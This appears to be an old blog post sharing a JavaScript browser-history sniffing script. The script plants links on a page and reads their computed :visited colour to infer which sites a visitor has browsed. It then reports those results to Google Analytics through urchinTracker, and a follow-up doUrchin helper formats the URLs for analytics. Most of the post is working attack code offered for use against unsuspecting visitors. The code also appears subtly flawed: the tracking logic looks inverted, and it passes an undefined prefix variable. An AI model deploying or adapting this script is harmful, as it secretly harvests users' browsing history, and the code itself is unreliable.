Steal History with javascript

Well I've found a nice script at Jeremiah Grossman's Blog This script steals your history… Nice isn't it. Now You can see what people are visiting! Well it ain't that easy and javascript is not allowed to read out the history, but there is a way. Let's have look at this.

The script

Because there is no way you can readout the history object directly, javascript will generate links and checks them by the computed style of the link. The links that should be specified is all up to you. Maybe your competitors sites.

addEvent( window, 'load', stealHistory );

var IEVisitedColor 	= '#cd0018';
var W3CVisitedColor	= 'rgb(205, 0, 24)';

var websites = [
  "http://ajaxian.com/",
  "http://www.dicabrio.com",
  "http://www.vdgraaf.info",
  "http://www.reaact.net",
  "more of your sites...."
];

function stealHistory()
{
  if(document.getElementById('site-list'))
  {
    var List = document.getElementById('site-list');

    for( var i = 0; i < websites.length; i++ ) 
    {
      var bRemove = false;
      var ListItem = document.createElement('li');
      var Link = document.createElement( 'a' );
      Link.href = websites[i];
      Link.id = i;

      Link.appendChild(document.¶
createTextNode(websites[i]));
      ListItem.appendChild(Link);
      List.appendChild(ListItem);

      if( Link.currentStyle )
      {
        var color = Link.currentStyle['color'];
		
        if( color == IEVisitedColor )
        {
          bRemove = true;
        }
      }
      else if( document.defaultView.¶
getComputedStyle( Link, null ) )
      {
        var color = document.defaultView.¶
getComputedStyle( Link, null ).color;
        
        if( color == W3CVisitedColor )
        {
          bRemove = true;
        }
      }
			
      if( bRemove == true )
      {
        List.removeChild(ListItem);
      }
      else
      {
        urchinTracker( '/visited/' + websites[i] );
      }
    }
  }
}

Update on the steal history script

I've created an update for this script because I did not get the results I wanted. Where does it go wrong do you think? Well, when you call the urchin function and give the url as parameter It will not show correctly in Google Analytics. If you look at the menu "Content Performance -> Content Drilldown" you will see the visited folder is added. Now when you look inside it you will see that there are subfolder or is a subfolder like http: This should not happen. That�s why I added a function that will stript the "http://"

Below you see the last piece of the original script only the urchinTracker function has been replaced with the doUrchin function.

if( bRemove == true )
{
  List.removeChild(ListItem);
}
else
{
  doUrchin( websites[i], visited );
}

The doUrchin function

This function will look for the http:// inside the url or link you want to set with the urchinTracker function. It will replace the http:// with nothing so you will end up with only the right url or link. For some implementations you can specify a prefix. if you specify one you should see the effect in analytics.

function doUrchin( Link, Prefix )
{
	Link = Link.replace( /^(http(s)?:\/\/)/i, '' );
	Link = Link.replace( /\./i, '_' );
	
	if( Prefix != null )
	{
		Link = '/' + Prefix + '/' + Link;
	}
	
	urchinTracker( Link );	
}

For this steal history script I use the prefix visited and this allows my to look this up in analytics with great ease.

Visited Sites?